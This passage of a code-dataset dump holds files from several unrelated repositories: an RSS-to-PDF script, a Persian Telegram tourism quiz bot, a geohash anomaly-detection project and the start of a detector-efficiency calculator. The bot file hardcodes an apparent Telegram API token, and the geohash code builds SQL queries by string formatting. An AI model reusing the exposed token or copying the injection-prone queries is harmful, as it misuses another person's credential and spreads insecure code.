ET.SubElement(item, 'categories')\r\n for c in i['category']:\r\n category = ET.SubElement(categories, 'category')\r\n category.text = c\r\n paragraphs.extend([Paragraph(i['title'], sample_style_sheet['Heading3'])])\r\n paragraphs.extend([Paragraph(i['description'], sample_style_sheet['BodyText'])])\r\n \r\n # create a new XML file with the results\r\n ET.ElementTree(feed).write('segunda_division.xml',encoding=\"UTF-8\",xml_declaration=True, pretty_print=True) \r\n \r\nif __name__ == '__main__':\r\n main()" }, { "alpha_fraction": 0.7874214053153992, "alphanum_fraction": 0.7874214053153992, "avg_line_length": 77.69999694824219, "blob_id": "a727021e659b91daaa87a1ed124e4e19834e69a3", "content_id": "cab05902c408b71b2e577176ff4542af3356e973", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 801, "license_type": "no_license", "max_line_length": 177, "num_lines": 10, "path": "/XML/Tema 5/XML_Entrada_Salida/README.txt", "repo_name": "juanfpo96/LEW", "src_encoding": "UTF-8", "text": "Este ejercicio incluye los dos ejercicios de este tema de entrada de XML y salida de XML.\r\n\r\nPrimero obtiene el archivo feed.xml a partir de una fuente rss de la web as.com\r\n\r\nA continuación procesa ese archivo (entrada XML), y genera un PDF con un resumen de las noticias incluidas en el feed.xml.\r\nParalelamente genera un arbol XML con la información estructurada de una mejor forma que en el feed.xml y lo exporta con el nombre de segunda_division.xml (salida XML).\r\n\r\n\r\nEn la carpeta dejo dos ejemplos de PDF generado. Cada PDF que genera se genera con una fecha y hora distintas por si se quisieran almacenar. \r\nLos XML se generan con el mismo nombre y sobreescriben al anterior, ya que en un principio estarían hechos para servir en una aplicación que consumiera dicho XML en tiempo real." } ]
5
majidhosseini/TouristCompetition
https://github.com/majidhosseini/TouristCompetition
eb249643ae97a8f76f589683e9c5cda9618c1274
0db7ebb523da871c55c4b6047e6436c68f75ab61
cb2de4475a346df6e4d13a00274291829b69efb8
refs/heads/master
2018-03-26T11:48:45.678596
2017-04-12T20:28:55
2017-04-12T20:28:55
87,111,943
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6168224215507507, "alphanum_fraction": 0.6468696594238281, "avg_line_length": 51.0994758605957, "blob_id": "f0b1848a63ca09e9c4d39822655a10acb5894637", "content_id": "40049e7da58eece52e7e5498df9ab75bb5cf9dab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11045, "license_type": "no_license", "max_line_length": 154, "num_lines": 191, "path": "/inline.py", "repo_name": "majidhosseini/TouristCompetition", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Basic example for a bot that uses inline keyboards.\n# This program is dedicated to the public domain under the CC0 license.\n\nimport logging\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup, KeyboardButton, ReplyKeyboardMarkup\nfrom telegram.ext import Updater, CommandHandler, CallbackQueryHandler\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\n\ndef start(bot, update):\n keyboard = [[InlineKeyboardButton(\"چهار گزینه‌ای\", callback_data='1')],\n [InlineKeyboardButton(\"بیست سوالی\", callback_data='2')],\n [InlineKeyboardButton(\"عکس مناظر\", callback_data='3')]]\n\n reply_markup = InlineKeyboardMarkup(keyboard)\n\n update.message.reply_text('برای شروع یکی از مسابقات زیر را انتخاب نمایید:', reply_markup=reply_markup)\n\n\ndef button(bot, update):\n query = update.callback_query\n\n if query.data == '0':\n messageText = 'برای شروع یکی از مسابفات زیر را انتخاب نمایید.'\n keyboard = [[InlineKeyboardButton(\"چهار گزینه‌ای\", callback_data='1')],\n [InlineKeyboardButton(\"بیست سوالی\", callback_data='2')],\n [InlineKeyboardButton(\"عکس مناظر\", callback_data='3')]]\n elif query.data == '1':\n messageText = \"شما مسابقه چهارگزینه‌ای رو انتخاب کردید و ۵ سوال چهار گزینه ای در ادامه پرسیده خواهد شد\"\n keyboard = [[InlineKeyboardButton(\"برگشت به منوی اصلی\", callback_data='0'),\n InlineKeyboardButton(\"شروع مسابقه\", callback_data='11')]]\n elif query.data == '2':\n messageText = \"خب! بیست سوالی! بیست عکس به شما نشان داده میشود و دو گزینه، شما از بین آن‌‌ها انتخاب کنید که عکس مربوطه به کدام شهر یا کشور مربوط\"\n keyboard = [[InlineKeyboardButton(\"برگشت به منوی اصلی\", callback_data='0'),\n InlineKeyboardButton(\"شروع مسابقه\", callback_data='21')]]\n elif query.data == '3':\n messageText = \"عکس یک مکان خاص به شما نشان داده می‌شود و از بین ۶ انتخاب باید بگید مربوط به کجاست البته گزینه آسان کن هم داریم\"\n keyboard = [[InlineKeyboardButton(\"برگشت به منوی اصلی\", callback_data='0'),\n InlineKeyboardButton(\"شروع مسابقه\", callback_data='31')]]\n\n elif query.data == '31':\n bot.sendPhoto(chat_id=query.message.chat_id, photo='https://raw.githubusercontent.com/majidhosseini/TouristCompetition/master/img/2.jpg')\n messageText = 'کجاست؟؟؟'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '311'),\n InlineKeyboardButton('شیراز', callback_data = '312'),\n InlineKeyboardButton('تهران', callback_data = '313')],\n [InlineKeyboardButton('گرگان', callback_data = '314'),\n InlineKeyboardButton('مشهد', callback_data = '315'),\n InlineKeyboardButton('بندر ترکمن', callback_data = '316')],\n [InlineKeyboardButton('آسونترش کن', callback_data = '310')]]\n\n elif query.data == '310':\n bot.sendPhoto(chat_id=query.message.chat_id, photo='https://raw.githubusercontent.com/majidhosseini/TouristCompetition/master/img/3.jpg')\n messageText = 'کجاست؟؟؟'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '321'),\n InlineKeyboardButton('شیراز', callback_data = '322'),\n InlineKeyboardButton('تهران', callback_data = '323')],\n [InlineKeyboardButton('گرگان', callback_data = '324'),\n InlineKeyboardButton('مشهد', callback_data = '325'),\n InlineKeyboardButton('بندر ترکمن', callback_data = '326')],\n [InlineKeyboardButton('آسونترش کن', callback_data = '320')]]\n\n elif query.data == '320':\n bot.sendPhoto(chat_id=query.message.chat_id, photo='https://raw.githubusercontent.com/majidhosseini/TouristCompetition/master/img/4.jpg')\n messageText = 'کجاست؟؟؟'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '331'),\n InlineKeyboardButton('شیراز', callback_data = '332'),\n InlineKeyboardButton('تهران', callback_data = '333')],\n [InlineKeyboardButton('گرگان', callback_data = '334'),\n InlineKeyboardButton('مشهد', callback_data = '335'),\n InlineKeyboardButton('بندر ترکمن', callback_data = '336')],\n [InlineKeyboardButton('آسونترش کن', callback_data = '330')]]\n\n elif query.data == '330':\n bot.sendPhoto(chat_id=query.message.chat_id, photo='https://raw.githubusercontent.com/majidhosseini/TouristCompetition/master/img/5.jpg')\n messageText = 'کجاست؟؟؟'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '341'),\n InlineKeyboardButton('شیراز', callback_data = '342'),\n InlineKeyboardButton('تهران', callback_data = '343')],\n [InlineKeyboardButton('گرگان', callback_data = '344'),\n InlineKeyboardButton('مشهد', callback_data = '345'),\n InlineKeyboardButton('بندر ترکمن', callback_data = '346')],\n [InlineKeyboardButton('آسونترش کن', callback_data = '340')]]\n\n elif query.data == '340':\n bot.sendPhoto(chat_id=query.message.chat_id, photo='https://raw.githubusercontent.com/majidhosseini/TouristCompetition/master/img/6.jpg')\n messageText = 'کجاست؟؟؟'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '351'),\n InlineKeyboardButton('شیراز', callback_data = '352'),\n InlineKeyboardButton('تهران', callback_data = '353')],\n [InlineKeyboardButton('گرگان', callback_data = '354'),\n InlineKeyboardButton('مشهد', callback_data = '355'),\n InlineKeyboardButton('بندر ترکمن', callback_data = '356')]]\n\n elif query.data == '21':\n bot.sendPhoto(chat_id=query.message.chat_id, photo='https://raw.githubusercontent.com/majidhosseini/TouristCompetition/master/img/4.jpg')\n messageText = 'کجاست؟؟؟'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '00211')],\n [InlineKeyboardButton('شیراز', callback_data = '00212')]]\n\n elif '0021' in query.data:\n bot.sendPhoto(chat_id=query.message.chat_id, photo='https://raw.githubusercontent.com/majidhosseini/TouristCompetition/master/img/5.jpg')\n messageText = 'کجاست؟؟؟'\n keyboard = [[InlineKeyboardButton('تهران', callback_data = '00221')],\n [InlineKeyboardButton('همدان', callback_data = '00222')]]\n\n elif '0022' in query.data:\n bot.sendPhoto(chat_id=query.message.chat_id, photo='https://raw.githubusercontent.com/majidhosseini/TouristCompetition/master/img/6.jpg')\n messageText = 'کجاست؟؟؟'\n keyboard = [[InlineKeyboardButton('آستارا', callback_data = '00231')],\n [InlineKeyboardButton('گرگان', callback_data = '00232')]]\n\n elif query.data == '11':\n messageText = 'تخت جمشید در کدام شهر است:'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '1111'),\n InlineKeyboardButton('شیراز', callback_data = '1112'),\n InlineKeyboardButton('تهران', callback_data = '1113'),\n InlineKeyboardButton('گرگان', callback_data = '1114')]]\n\n elif '111' in query.data:\n messageText = 'چنگل ابر مربوط به کدام شهر است:'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '1121'),\n InlineKeyboardButton('شیراز', callback_data = '1122'),\n InlineKeyboardButton('تهران', callback_data = '1123'),\n InlineKeyboardButton('گرگان', callback_data = '1124')]]\n\n elif '112' in query.data:\n messageText = 'دریاچه خلیج فارس در کدام شهر است:'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '1131'),\n InlineKeyboardButton('شیراز', callback_data = '1132'),\n InlineKeyboardButton('تهران', callback_data = '1133'),\n InlineKeyboardButton('گرگان', callback_data = '1134')]]\n\n elif '113' in query.data:\n messageText = 'باغ ارم در کدام شهر است:'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '1141'),\n InlineKeyboardButton('شیراز', callback_data = '1142'),\n InlineKeyboardButton('تهران', callback_data = '1143'),\n InlineKeyboardButton('گرگان', callback_data = '1144')]]\n\n elif '114' in query.data:\n messageText = 'حمام چهار فصل در کدام شهر است:'\n keyboard = [[InlineKeyboardButton('اراک', callback_data = '1151'),\n InlineKeyboardButton('شیراز', callback_data = '1152'),\n InlineKeyboardButton('تهران', callback_data = '1153'),\n InlineKeyboardButton('گرگان', callback_data = '1154')]]\n\n elif '115' in query.data:\n messageText = 'شما به چهار مورد پاسخ صحیح دادید، آیا مایل به ادامه هستید؟'\n keyboard = [[InlineKeyboardButton('ادامه', callback_data = '0'),\n InlineKeyboardButton('اتمام', callback_data = '-1')]]\n else:\n messageText = 'متاسفانه ربات قادر به پاسخگویی نمی باشد، لطفا از ابتدا آغاز نمایید.'\n keyboard = [[InlineKeyboardButton(\"برگشت به منوی اصلی\", callback_data='0')]]\n\n reply_markup = InlineKeyboardMarkup(keyboard)\n bot.sendMessage(text=messageText,\n chat_id=query.message.chat_id,\n message_id=query.message.message_id,\n reply_markup=reply_markup)\n\n\ndef help(bot, update):\n update.message.reply_text(\"Use /start to test this bot.\")\n\n\ndef error(bot, update, error):\n logging.warning('Update \"%s\" caused error \"%s\"' % (update, error))\n\ndef main():\n start\n\n# Create the Updater and pass it your bot's token.\nupdater = Updater(\"350002599:AAGpiEhP4bgoaKSDGnP0BfFFhsSI-4hdKtI\")\n\nupdater.dispatcher.add_handler(CommandHandler('start', start))\nupdater.dispatcher.add_handler(CallbackQueryHandler(button))\nupdater.dispatcher.add_handler(CommandHandler('help', help))\nupdater.dispatcher.add_error_handler(error)\n\n# Start the Bot\nupdater.start_polling()\n\n# Run the bot until the user presses Ctrl-C or the process receives SIGINT,\n# SIGTERM or SIGABRT\nupdater.idle()\n" } ]
1
LeeCote94/Geohash-Anomaly-Detection
https://github.com/LeeCote94/Geohash-Anomaly-Detection
ffbdc3f51aba66f22cdfecb6229b282454cbbb40
675646695909a97286f0f35620c1dc01ec50d227
32e02b51f0a16f662e7f0d03adf39711f2018b6e
refs/heads/main
2023-08-23T13:14:54.025109
2023-08-22T05:27:01
2023-08-22T05:27:01
404,537,051
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.559077799320221, "alphanum_fraction": 0.5648415088653564, "avg_line_length": 22.133333206176758, "blob_id": "5e81380596b0e21f5e96ca459dabc6157f61b47d", "content_id": "cfe24a689fcf795ed0279ed289b79548334e3128", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 347, "license_type": "no_license", "max_line_length": 49, "num_lines": 15, "path": "/src/utils/decorator.py", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "from time import time\nfrom functools import wraps\nfrom src.utils import logger\n\n\ndef timing(f):\n @wraps(f)\n def wrap(*args, **kw):\n ts = time()\n log = logger.setup_logger(f.__qualname__)\n result = f(*args, **kw)\n te = time()\n log.debug('runtime: %2.4f sec' % (te-ts))\n return result\n return wrap\n" }, { "alpha_fraction": 0.8054711222648621, "alphanum_fraction": 0.8176291584968567, "avg_line_length": 163.3333282470703, "blob_id": "ce91180b67d4eab614bc69de3872ed66e44d1fd0", "content_id": "257684e28e8adbc00e2dfc97db26bf77f39129da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 987, "license_type": "no_license", "max_line_length": 529, "num_lines": 6, "path": "/README.md", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "# geohash-modelling\nGeographic anomaly detection based on latitude/longitudes using the geohash algorithm. \n\nThis method is useful because raw clustering based on latitudes/longitudes ignores that they are truly a sphere, making clustering less accurate. Projecting 2d lat/lon data to 3d using havershine distance is also an inaccurate approach prone to error. Projecting geolocations onto a 64x64/128x128 hash map of the world and applying multivariate normals to the centroids of each hash allows us to seed a probability matrix based on a customer's legitimate geographic profile and then likewise assign a probability of outlierness. \n\nFascinatingly, you can also apply this in a non-anomaly detection methodology. If you've a dataset of geographic points, and instead approach it as a classical DBSCAN clustering problem, the hash algorithm will intelligently discern geographic regions on its own-- e.g., \"Eastern vs Midwestern vs Western U.S.\", \"Eastern vs Western Europe\", etc. \n" }, { "alpha_fraction": 0.6744186282157898, "alphanum_fraction": 0.6744186282157898, "avg_line_length": 20.5, "blob_id": "c66b15fc558d4f08857cb427e1f19e9bb9deaccf", "content_id": "854eac20efc9eddb317c80cc0ddbe9b264f9db7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 43, "license_type": "no_license", "max_line_length": 21, "num_lines": 2, "path": "/src/utils/constants.py", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "KEY_LAT = 'latitude'\nKEY_LON = 'longitude'\n" }, { "alpha_fraction": 0.5453456044197083, "alphanum_fraction": 0.550139844417572, "avg_line_length": 45.35185241699219, "blob_id": "eb20709f7678752d63ebbca1cfb23ceb0b3a0fda", "content_id": "3856ca2830f04ceeefbc37ba0d12550aa7fb72f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2503, "license_type": "no_license", "max_line_length": 114, "num_lines": 54, "path": "/src/model/predict.py", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "from sklearn.cluster import DBSCAN\nfrom src.model import geohash, transformation\nfrom src.utils import logger\n\nLOGGER = logger.setup_logger(__name__)\n\n\nclass SpatialClustering(object):\n def __init__(self, target, sigma, cv):\n self.target = target\n self.sigma = sigma\n self.cv = cv\n self.sigfig = 4\n self.eps_range = []\n\n def fit_predict(self, df):\n labels, proportion = self._auto_optimize_model(df)\n # TODO: log_proportions_here\n return labels\n\n def _auto_optimize_model(self, df):\n def binary_param_search(df, eps_range, min_idx, max_idx):\n if max_idx > min_idx:\n mid_idx = min_idx + (max_idx - min_idx) // 2\n self.eps = eps_range[mid_idx]\n self.labels, self.outlier_proportion_sample = self._dbscan(df, eps=self.eps)\n LOGGER.debug(\"Attempt on eps = {}: Outliers: {}%\"\n .format(self.eps.round(self.sigfig),\n round((100 * self.outlier_proportion_sample), self.sigfig)))\n err = self.target - self.outlier_proportion_sample\n if abs(err) < self.sigma:\n LOGGER.debug(\"Final EPS Parameter: {} with Error {}\"\n .format(self.eps.round(self.sigfig), round(err, self.sigfig)))\n return self.labels, self.outlier_proportion_sample\n elif err < 0: # Indicates p < p^, our midpoint has too much pollution\n return binary_param_search(df, eps_range, mid_idx + 1, max_idx)\n else: # p > p^, our parameter is too specific\n return binary_param_search(df, eps_range, min_idx, mid_idx - 1)\n else:\n # noinspection PyBroadException\n try:\n LOGGER.debug(\n \"No Valid EPS parameters for this run. Returning final runs data with eps=%s & p_hat=%s%%\"\n % (round(self.eps, self.sigfig), round(self.outlier_proportion_sample, self.sigfig)))\n return self.labels, self.outlier_proportion_sample\n except:\n LOGGER.debug(\"Model failed on first iteration, likely due to no valid data\")\n return 1, 0\n\n return binary_param_search(df, self.eps_range, 0, len(self.eps_range) - 1)\n\n def _dbscan(self, df, eps):\n labels = DBSCAN(eps=eps).fit_predict(df)\n return labels\n" }, { "alpha_fraction": 0.6303837299346924, "alphanum_fraction": 0.6429131031036377, "avg_line_length": 40.16128921508789, "blob_id": "8b083ffc5ea7f1841299dd648ede74636b13a06c", "content_id": "28b9fcf483d81af6ca80f8eb913a290688f89608", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1277, "license_type": "no_license", "max_line_length": 115, "num_lines": 31, "path": "/src/app.py", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "import sys\nimport json\nimport numpy as np\nimport pandas as pd\nfrom utils import logger\nfrom utils.constants import *\nfrom model import geohash, transformation, predict\n\nLOGGER = logger.setup_logger(__name__)\n\n\ndef main(df):\n \"\"\"\n This function takes in an NxM dataframe, subsets by chosen lat/lon columns, fits a 1024 hash map, finds the 99%\n Principle Component count, and then subsets and fits a tuned predictor for the 5% most anomalous geo-locations.\n\n :param df: NxM Dataframe\n :return: Nx1 Pandas Series with corresponding geo-predictions.\n \"\"\"\n\n geo_key = [KEY_LAT, KEY_LON]\n df_latlon = df[geo_key].drop_duplicates(keep='first').reset_index().drop(columns={'index'}).dropna()\n if len(df_latlon) == 0:\n raise Exception(\"No Latitude/Longitude information in the dataset, all values null.\")\n hash_df = geohash.Hash().run(df_latlon)\n hash_df_pca = transformation.pca_cumulative(hash_df)\n df_latlon['geo_cluster_flag'] = predict.SpatialClustering(target=0.05,\n sigma=0.025,\n cv=True).fit_predict(hash_df_pca)\n\n return df.merge(df_latlon, how='left', left_on=geo_key, right_on=geo_key)['geo_cluster_flag']\n\n" }, { "alpha_fraction": 0.5807036757469177, "alphanum_fraction": 0.5950308442115784, "avg_line_length": 40.76515197753906, "blob_id": "c83d78e5acc18a3d6a7aa575d7f657cf25bcdc22", "content_id": "4b2f1a62b70c3e61f9aa4e5d09f81aa940a2ec67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5514, "license_type": "no_license", "max_line_length": 135, "num_lines": 132, "path": "/src/model/geohash.py", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nimport math\nimport sys\nimport json\nfrom functools import lru_cache\nfrom geopy import distance\nimport pygeohash\nfrom src.utils import logger\nfrom src.utils.decorator import timing\nfrom src.utils.constants import KEY_LAT, KEY_LON\n\nLOGGER = logger.setup_logger(__name__)\n\n\nclass Hash(object):\n def __init__(self):\n self.tau = 2 * math.pi\n self.sigma = 0.3989422804014327\n self.hash_alphabet = \"0123456789bcdefghjkmnpqrstuvwxyz\"\n self.earth_circumference_meters = 40.07e6\n self.earth_circumference_half = self.earth_circumference_meters / 2\n\n def run(self, df):\n hash_table_dict = self._geospatial_hash(df)\n LOGGER.debug(\n \"Hash Table Dictionary Created. Converting to 1024 hash pandas dataframe with {0} observations\".format(\n len(hash_table_dict)))\n hash_table_df = pd.DataFrame.from_records(hash_table_dict)\n LOGGER.debug(\"Geo DataFrame Successfully Built . . .\")\n return hash_table_df\n\n def _geospatial_hash(self, df):\n geo_fields = [KEY_LAT, KEY_LON]\n geo_lookup = self._get_all_map()\n geo_df = df[geo_fields].fillna(\n {KEY_LAT: 38.9072, KEY_LON: 77.0369}) # Washington DC as default \"safe\" value for internal IPs\n hash_map = geo_df.apply(lambda x: self._calc_hash_distances(x[KEY_LAT], x[KEY_LON], geo_lookup), axis=1)\n return hash_map\n\n def _get_normal_value(self, val, sigma=None, mu=0):\n if sigma is None:\n sigma = self.sigma\n rotation = 1 if val < 0 else -1\n return (1.0 / (math.sqrt(self.tau * (sigma ** 2)))) * (math.e ** (rotation * ((val - mu) / (2 * sigma))))\n\n def _two_letter_hash(self, lat, lon):\n pyhash = pygeohash.encode(lat, lon, precision=2)\n return pyhash\n\n def _calc_hash_distances(self, lat, lon, feature_map, prefix=\"\"):\n feature = self._two_letter_hash(lat, lon)\n output = {}\n if feature in feature_map:\n for dst_feature, encoding in feature_map[feature].items():\n output[prefix + dst_feature] = encoding\n return output\n output = self._calc_distance_for_feature(feature, lat, lon, prefix)\n return output\n\n @lru_cache(maxsize=1024)\n def _calc_distance_for_feature(self, feature, lat, lon, prefix=\"\"):\n output = {}\n for dst_feature, dst_lat_long in self.geo_hash_to_lat_lon.items():\n if dst_feature == feature:\n dist = 0.0\n else:\n try:\n dist = distance.distance((lat, lon), dst_lat_long).meters\n except ValueError as ve:\n sys.stderr.write(\n \"Failed to calculate distance for [%s][%s] to [%s][%s] due to [%s] falling back to great circle distance\\n\" % (\n feature, (lat, lon), dst_feature, dst_lat_long, ve))\n dist = distance.great_circle((lat, lon), dst_lat_long).meters\n\n scaled_distribution = lambda val: self._get_normal_value(val)\n encoding = scaled_distribution(dist / self.earth_circumference_half)\n output[prefix + dst_feature] = encoding\n return output\n\n def _get_all_map(self):\n # Todo: Import geohash here if one exists for a data population. e.g., \n # geo_hash = self._pull_db_hash()\n geo_hash = self._gen_hash_features()\n # Todo: Save this into a local DB for repeated function calls. e.g., \n # self._save_geo_hash(geo_hash)\n return geo_hash\n\n @timing\n def _gen_hash_features(self):\n self.geo_hash_to_lat_lon = self._generate_geo_hash()\n output = {}\n for feature, latLon in self.geo_hash_to_lat_lon.items():\n output[feature] = self._calc_hash_distances(lat=latLon[0], lon=latLon[1], feature_map={})\n return output\n\n def _generate_geo_hash(self):\n geo_hash_to_lat_long = {}\n for letter1 in self.hash_alphabet:\n for letter2 in self.hash_alphabet:\n code = letter1 + letter2\n lat_long_position = pygeohash.decode(code)\n geo_hash_to_lat_long[code] = lat_long_position\n return geo_hash_to_lat_long\n\n def _save_geo_hash(self, output):\n LOGGER.debug(\"Attempting to save Geo Hash into DB\")\n try:\n cursor = self.connection.cursor()\n postgres_sql_save_query = \"INSERT INTO geo_mappings(index, geo_mapping) VALUES(\\'{0}\\', \\'{1}\\' )\". \\\n format(self.source_index, json.dumps(output))\n cursor.execute(postgres_sql_save_query)\n self.connection.commit()\n LOGGER.debug(\"Successfully saved Geo Mapping Data into psql\")\n return None\n\n except Exception as error:\n LOGGER.info(\"failed to save geoMapping data to psql. \"\n \"Chances are another worker saved geo data before this worker was able to\")\n LOGGER.error(error)\n return None\n \n def _pull_db_hash(self):\n cursor = self.connection.cursor()\n postgres_sql_select_query = \"SELECT geo_mapping FROM geo_mappings WHERE index = \\'{0}\\'\".format(\n self.source_index)\n cursor.execute(postgres_sql_select_query)\n geo_json_rows = cursor.fetchall()\n if len(geo_json_rows) > 0:\n return geo_json_rows[0][0]\n else:\n raise Exception(\"Database Connection Established, but no data in table.\")\n\n" }, { "alpha_fraction": 0.6740858554840088, "alphanum_fraction": 0.6883942484855652, "avg_line_length": 38.3125, "blob_id": "28ec67420cc44e8a9b51ae497b591aa01fa3f091", "content_id": "d71a29132e0aac73887e60bf23dd2d622bada108", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 629, "license_type": "no_license", "max_line_length": 102, "num_lines": 16, "path": "/src/model/transformation.py", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nfrom sklearn.decomposition import PCA\nfrom src.utils import logger\n\nLOGGER = logger.setup_logger(__name__)\n\n\ndef pca_cumulative(df, epsilon=1):\n cum_var = np.cumsum(\n np.round(PCA(n_components=min(df.shape)).fit(df).explained_variance_ratio_, decimals=4) * 100)\n cum_var_diff = np.array([round(j - i, 2) for i, j in zip(cum_var[:-1], cum_var[1:])])\n cutoff = np.argmax(cum_var_diff < epsilon) + 1\n LOGGER.debug(\"Number Components for Convergence of PCA Variance: {}\".format(cutoff))\n pca_df = pd.DataFrame(PCA(n_components=cutoff).fit_transform(df))\n return pca_df\n" }, { "alpha_fraction": 0.5118110179901123, "alphanum_fraction": 0.7086614370346069, "avg_line_length": 13.222222328186035, "blob_id": "2342ea8023e538143fd0d0fc161425df657177e1", "content_id": "272e99e3cbd3f7e487335a003cba3cfb3d6e4b78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 127, "license_type": "no_license", "max_line_length": 20, "num_lines": 9, "path": "/requirements.txt", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "pandas~=1.2.4\nnumpy~=1.20.3\nscikit-learn~=0.24.2\nscipy\nmatplotlib\ngeopy~=2.2.0\ntqdm~=4.61.1\npygeohash~=1.2.0\nsetuptools~=49.2.1" }, { "alpha_fraction": 0.634765625, "alphanum_fraction": 0.634765625, "avg_line_length": 29.176469802856445, "blob_id": "d7ff9d0564124323808ddada1bcbabdc977f351a", "content_id": "d2734b2b4c3d41fbefe676f08d4f08dbe6e551ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 512, "license_type": "no_license", "max_line_length": 109, "num_lines": 17, "path": "/src/utils/logger.py", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "import logging\nimport sys\n\n\ndef setup_logger(name):\n formatter = logging.Formatter(fmt=\"[%(asctime)s] [%(process)d] [%(name)s] [%(levelname)s] - %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\")\n handler = logging.StreamHandler(sys.stdout)\n handler.setFormatter(fmt=formatter)\n logger = logging.getLogger(name=name)\n if logger.hasHandlers():\n logger.handlers.clear()\n\n logger.addHandler(hdlr=handler)\n logger.setLevel(level=logging.DEBUG)\n\n return logger" }, { "alpha_fraction": 0.6265060305595398, "alphanum_fraction": 0.6405622363090515, "avg_line_length": 30.1875, "blob_id": "13ccda12d89661b67f8eea12501aa322b77dbf95", "content_id": "5201b3192a09e8f3ab7fa51ff33bd3a66b45e28a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 498, "license_type": "no_license", "max_line_length": 118, "num_lines": 16, "path": "/setup.py", "repo_name": "LeeCote94/Geohash-Anomaly-Detection", "src_encoding": "UTF-8", "text": "import setuptools\n\nsetuptools.setup(\n name=\"GeoHashCluster\",\n version=\"1.0.0\",\n author=\"Lee Cote\",\n description=\"Location anomaly detection using a 3-dim normal distribution fits along with the geoHash algorithm.\",\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n package_dir={'': 'src'},\n packages=setuptools.find_packages('src'),\n python_requires=\">=3.6\",\n)" } ]
10
DrKrar/GeoEff
https://github.com/DrKrar/GeoEff
8615e0e86b26c13c186119afd9a34293d04a3fc6
add242d443b821f5b2d270fe173d33d32e476b03
3a5ddd1617d3526324dff99bdec6aff10910c4d3
refs/heads/master
2015-09-25T20:51:18.850199
2015-08-26T23:00:03
2015-08-26T23:00:03
41,270,213
1
0
null
2015-08-23T22:34:43
2015-08-26T23:10:03
2015-10-15T23:29:08
Python
[ { "alpha_fraction": 0.5029830932617188, "alphanum_fraction": 0.5130096077919006, "avg_line_length": 34.91964340209961, "blob_id": "6ed205a347250613a6c9939b5c2a1f5e98ebd772", "content_id": "d528440fe1b374bdfd5d421311f09234a459860b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12068, "license_type": "no_license", "max_line_length": 139, "num_lines": 336, "path": "/GeoEff.py", "repo_name": "DrKrar/GeoEff", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#! /usr/bin/env python3\n\"\"\"\n -=) GEoEff (=-\n Accurate Geometrical Efficiency calculator\n\nusage:-\n import GeoEff\n newDetector = detector()\n Eff_value = newDetector.GeoEff_At(aCenterPNT)\n Error_in_calculation = newDetector.GeoErr_At(aCenterPNT)\n\n@author: Mohamed Krar\n@Profile: https://www.researchgate.net/profile/Mohamed_Krar3\n@contact: [email protected]\n@version: 0.4.4\nCreated on Fri Aug 14 20:12:01 2015\n\"\"\"\ntry:\n from sympy.mpmath import mp\nexcept:\n from mpmath import mp\nmp.dps = 15; mp.pretty = True\nfrom math import acos, atan2, pi, sin\n\ndef getFloat(msg, frm = 0, to = None):\n \"\"\"\" propmpet the user to input a positive numerical value.\n frm <= value <= to\n \"\"\"\n while True:\n try:\n value = input(msg)\n value = float(value)\n assert frm <= value <= to\n return value\n except ValueError as err:\n if value == None:\n return 0.0\n else:\n print(\"sorry\",err)\n except AssertionError as err:\n if to == None:\n to = \"infinity\"\n print(\"sorry expecte a Number from\", frm, \"to\",to)\n except :\n return value\n\n\nclass DetectorFactory():\n def __new__(cls, CryRadius = None, CryLength = None, HoleRadius = None):\n if CryRadius == None:\n print (\" - The detector:-\")\n R = getFloat(\" \" * 9 + \"+ Crystal Radius [R(cm)] = \")\n L = getFloat(\" \" * 9 + \"+ Crystal Length [L(cm)] = \")\n R_hole = getFloat(\" \" * 